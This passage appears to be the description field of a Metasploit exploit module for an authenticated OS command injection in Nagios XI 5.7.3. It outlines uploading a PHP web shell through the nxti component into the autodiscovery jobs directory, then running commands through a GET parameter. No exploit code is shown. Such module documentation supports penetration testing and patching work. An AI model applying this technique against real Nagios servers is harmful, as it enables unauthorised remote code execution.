        'Description' => %q{
          This module exploits an OS command injection vulnerability in
          includes/components/nxti/index.php that enables an authenticated user
          with admin privileges to achieve remote code execution as the `apache`
          user. The module uploads a simple PHP shell via includes/components/nxti/index.php
          to includes/components/autodiscovery/jobs/<php_shell> and then
          executes the payload as the `apache` user via an HTTP GET request to
          includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>

          Valid credentials for a Nagios XI admin user are required. This module has
          been successfully tested against Nagios XI 5.7.3 running on CentOS 7.
